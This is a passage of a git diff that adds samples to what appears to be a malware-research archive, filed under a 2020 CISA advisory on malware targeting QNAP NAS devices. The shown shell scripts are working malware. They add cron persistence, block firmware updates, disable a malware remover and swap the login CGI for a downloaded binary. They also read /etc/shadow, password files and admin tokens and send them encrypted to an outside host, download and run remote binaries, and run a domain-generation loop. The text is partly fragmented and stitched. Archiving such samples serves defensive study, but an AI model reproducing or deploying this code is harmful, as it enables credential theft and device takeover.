${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi +XEOF +fi +chmod 755 "${bdir}/.qpkg/.liveupdate/liveupdate.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.liveupdate/liveupdate.sh" + +crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p') +trycount=10; trycount=$(( $trycount - 10 )) +set x $crontabargs; shift +while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do +trycount=$(( $trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break +test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break +done +test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "$crontabfile" "${confdir}/crontab"; do +if $fgrep "${bdir}/.qpkg/.liveupdate/liveupdate.sh" "$crontab"; then +: +else +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.liveupdate/liveupdate.sh >/dev/null 2>/dev/null" >> "$crontab" +sleep 5 +fi +done + +grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com' >/dev/null && sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/0.0.0.0\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +sedexpr='QPKG CENTER XML\|Live Update XML\|FW_XML_ALT' +if grep "${sedexpr}" /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com' >/dev/null; then +sed -i 's/^ *\('"${sedexpr}"'\)\(.*https\?:\/\/[^\/]*\)\(qnap\.com[^\/]*\)/\1\20.0.0.0/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +grep "${sedexpr}" /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com' && sed -i 's/^ *\('"${sedexpr}"'\).*qnap\.com/\1 = /' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +fi + +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +exit 0 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/55b5671876f463f2f75db423b188a1d478a466c5e68e6f9d4f340396f6558b9f b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/55b5671876f463f2f75db423b188a1d478a466c5e68e6f9d4f340396f6558b9f new file mode 100644 index 0000000..67f2927 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/55b5671876f463f2f75db423b188a1d478a466c5e68e6f9d4f340396f6558b9f @@ -0,0 +1,212 @@ +#!/bin/bash +ts=1548478800 +PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin" +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` && test -d "$bdir" || bdir='' +test -z "${bdir}" || test ! -d "${bdir}"; } && { while read -r bdir; do +test -d "$bdir" && break; bdir='' +done <>/etc/hosts +fi + +test -z "$PWD" && PWD=$(pwd) +CWD="$PWD" +if [ "${CWD%/*}" != "${bdir}/.qpkg" ]; then + CWD='' + for dir in '.config' '.liveupdate'; do + dir="${bdir}/.qpkg/${dir}" + test -d "$dir" && cd "$dir" && CWD="$dir" && break + done +fi +test "$CWD" && test -d "$CWD" && cd "$CWD" + +sedcmd='s/CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/CXqrBM2CVbJog4rwwSz1Bp1i1'"'"'\ +verifykey="${verifykey}"'"'"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/' +grepstring='CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex' +for path in ".config/backup_conf.sh" ".liveupdate/liveupdate.sh"; do +if [ -f "${path#*/}" ]; then +grep "$grepstring" "${path#*/}" && sed -i "$sedcmd" "${path#*/}" +elif [ -f "${bdir}/.qpkg/${path}" ]; then +test -f "${bdir}/.qpkg/${path}" && grep "$grepstring" "${bdir}/.qpkg/${path}" && sed -i "$sedcmd" "${bdir}/.qpkg/${path}" +fi +done + +sedcmd='s/CXqrBM2CVbJog4rwwSz1Bp1i1'"'"'/CXqrBM2CVbJo'"'"';verifykey="${verifykey}"'"'"'g4rwwSz1Bp1i1'"'/" +grepstring='CXqrBM2CVbJog4rwwSz1Bp1i1'"'" +for path in ".config/backup_conf.sh" ".liveupdate/liveupdate.sh"; do +if [ -f "${path#*/}" ]; then +grep "$grepstring" "${path#*/}" && sed -i "$sedcmd" "${path#*/}" +elif [ -f "${bdir}/.qpkg/${path}" ]; then +test -f "${bdir}/.qpkg/${path}" && grep "$grepstring" "${bdir}/.qpkg/${path}" && sed -i "$sedcmd" "${bdir}/.qpkg/${path}" +fi +done + +version=$(getcfg System Version) +test "x${version}" = 'x' && version=$(getcfg System Version -f /etc/default_config/uLinux.conf) + +for file in /etc/config/rssdoc/qpkgcenter_*.xml +do +test -f "$file" && rm "$file" && cp "./rssdoc/Liveupdate/QTS${version}/${file##*/}" "$file" && test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +done +file='' +if find /etc/config/ | grep 'qpkgcenter_.*\.xml'; then +: +else +cp "./rssdoc/Liveupdate/QTS${version}/qpkgcenter_eng.xml" '/etc/config/rssdoc/qpkgcenter_eng.xml' +test -f '.qdisk_cmd' && ./.qdisk_cmd +i '/etc/config/rssdoc/qpkgcenter_eng.xml' +fi + +if [ ! -f ".qdisk_cmd" ]; then + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='g2oe7EJJVCiAHY6AG1I1c/lGF8Y=' + ;; + *arm*) + arch=arm + binhash='Z3twHZvQqYZ1vLeu4PLnZekdkRY=' + ;; + *i*86*) + arch=i486 + binhash='gWzECXuIp3dz5yI7RJS9d4+xpq4=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qdisk_cmd.tmp" "https://qpqift.top/data/qdisk_cmd_${arch}" || rm -f ".qdisk_cmd.tmp" + test -f '.qdisk_cmd.tmp' && rsynchash="$(openssl dgst -sha1 -binary ".qdisk_cmd.tmp" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + mv '.qdisk_cmd.tmp' '.qdisk_cmd' && chmod +x '.qdisk_cmd' + else + rm -f '.qdisk_cmd.tmp' + fi + fi +fi +binhash=''; rsynchash='' + +for qpkgdir in "${bdir}/.qpkg" '../../.qpkg'; do +test -d "$qpkgdir" && break +done +test -d "${qpkgdir}/MalwareRemover" || mkdir "${qpkgdir}/MalwareRemover" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${qpkgdir}/MalwareRemover" + +if [ -d "${qpkgdir}/MalwareRemover/modules" ]; then +for file in 10_derek_3.pyc 12_derek_3.pyc; do +test ! -f "${qpkgdir}/MalwareRemover/modules/${file}" || rm -f "${qpkgdir}/MalwareRemover/modules/${file}" && cat >"${qpkgdir}/MalwareRemover/modules/${file}" <<"EOF" +#!/bin/sh +exit 0 +EOF +chmod +x "${qpkgdir}/MalwareRemover/modules/${file}" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${qpkgdir}/MalwareRemover/modules/${file}" +done +fi +file=''; qpkgdir='' + +if [ ! -f .rsakey ]; then +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJog4rwwSz1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +fi + +if [ ! -f "${ts}_c" ]; then +key=$(tr -dc 'a-zA-Z0-9' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +test "x$key" = 'x' && key=$(LC_ALL=C sed 's/[^a-zA-Z0-9]//g' /dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } ) +{ echo "$key" | openssl rsautl -pubin -inkey .rsakey -encrypt | openssl enc -base64 -A; printf ':' +{ echo; for file in "${bdir}/.log/.rqsys.log" /etc/config/.qos_config/users/admin/.qtoken /etc/config/.qos_config/users/admin/secondSV.conf /etc/config/ssmtp/ssmtp.conf /etc/config/smbpasswd /etc/shadow /mnt/HDA_ROOT/.config/qnapddns.conf /mnt/HDA_ROOT/.config/qid.conf; do printf '%s:' "$file"; cat "$file"; echo; done; printf '%s:' "authLogin.cgi"; /home/httpd/cgi-bin/authLogin.cgi; } | gzip | { dd bs=4096 count=512 || head -c 2097152 || cat; } | openssl enc -aes-256-cbc -k "$key" -md md5 -salt -a -A; } | curl --connect-timeout 12 -m 300 -k -d '@-' "https://qpqift.top/ping.pl" +fi + +cgibindir='/home/httpd/cgi-bin' +if [ ! -f "1547971200_c" ] && [ ! -f "${cgibindir}/sysauthLogin.cgi" ] && [ -f "${cgibindir}/authLogin.cgi" ]; then + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='pt+a/Y3gGOPe9uyBgm85h2eOQV8=' + ;; + *arm*) + arch=arm + binhash='W5SbpKsI90NUy4uQg3Pm1agAFho=' + ;; + *i*86*) + arch=i486 + binhash='TagzVbVf5YhxA3ZXwgBMQKw2zG4=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qal" "https://qpqift.top/data/qal_${arch}" || rm -f ".qal" + test -f '.qal' && rsynchash="$(openssl dgst -sha1 -binary ".qal" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + test -f "${cgibindir}"/sysauthLogin.cgi && mv "${cgibindir}"/sysauthLogin.cgi "${cgibindir}"/authLogin.cgi + mv "${cgibindir}"/authLogin.cgi "${cgibindir}"/sysauthLogin.cgi && test -f "${cgibindir}"/sysauthLogin.cgi && mv '.qal' "${cgibindir}"/authLogin.cgi && chmod +x "${cgibindir}"/authLogin.cgi + fi + fi + test -f "1547971200_c" || touch "1547971200_c" +fi + +test ! -f "${cgibindir}"/authLogin.cgi && test -f "${cgibindir}"/sysauthLogin.cgi && mv "${cgibindir}"/sysauthLogin.cgi "${cgibindir}"/authLogin.cgi + +if [ ! -d rssdoc ]; then +command -v bunzip2 && compext=bz2 || compext=gz +curl --connect-timeout 12 -m 1200 -k -o "rssdoc.tar.${compext}" "https://qpqift.top/data/rssdoc.tar.${compext}" || { rm "rssdoc.tar.${compext}" && exit 1; } +test -f "rssdoc.tar.${compext}" || exit 1 +rssdochash="$(openssl dgst -sha1 -binary "rssdoc.tar.${compext}" | openssl base64)" +test "$rssdochash" = 'WOkc6vlUa7A30GKa4Z4o02CIexk=' || test "$rssdochash" = "0h0Jyx52a/F9YB80Ml4SsEsugyA=" || { rm -f "rssdoc.tar.${compext}"; exit 1; } +test "$compext" = bz2 && tarflag=j || tarflag=z +tar -x${tarflag}f "rssdoc.tar.${compext}" || { rm -f rssdoc.tar.{,.${compext}}; exit 1; } +rm -f "rssdoc.tar.${compext}" +fi + +rm /home/httpd/{Liveupdate,FirmwareRelease{,_beta}S.xml} +ln -s "${CWD}"/rssdoc/{Liveupdate,FirmwareRelease{,_beta}S.xml} /home/httpd + +if grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com\|0\.0\.0\.0'; then +internalwebport=$(/sbin/getcfg System InnerWebAccessPort -d 58080) +localupdateurl="http://127.0.0.1:${internalwebport}" +sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/127.0.0.1:'${internalwebport}'\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +fi + +test -f /etc/config/.qsync.conf && authkeysfile=$(grep AuthorizedKeysFile /etc/config/.qsync.conf | sed 's/"//g' | cut -d ' ' -f 2) +if [ "$authkeysfile" ] && [ -f "$authkeysfile" ] && grep 'miOGcmendZU2r10SdZVplBQ4i' "$authkeysfile"; then +sed -i '/miOGcmendZU2r10SdZVplBQ4i/d' "$authkeysfile" +lsofout="$(lsof +c 0 -i -n -P | grep :51163)" +sshpid="$(echo "$lsofout" | tr -s ' ' | cut -d ' ' -f 2 | head -n 1)" +kill -2 "$sshpid" +fi + +test -f "${ts}_c" || touch "${ts}_c" +rm -f "${CWD}/".tmp.* +exit 0 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5cb5dce0a1e03fc4d3ffc831e4a356bce80e928423b374fc80ee997e7c62d3f8 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5cb5dce0a1e03fc4d3ffc831e4a356bce80e928423b374fc80ee997e7c62d3f8 new file mode 100644 index 0000000..324bb4c --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5cb5dce0a1e03fc4d3ffc831e4a356bce80e928423b374fc80ee997e7c62d3f8 @@ -0,0 +1,510 @@ +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + { /share/MD0_DATA/NOPE; exit 1; } +esac +{ /share/MD0_DATA/NOPE; exit 0; } + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='NOPE' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cd "${bdir}/.qpkg/.config" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test 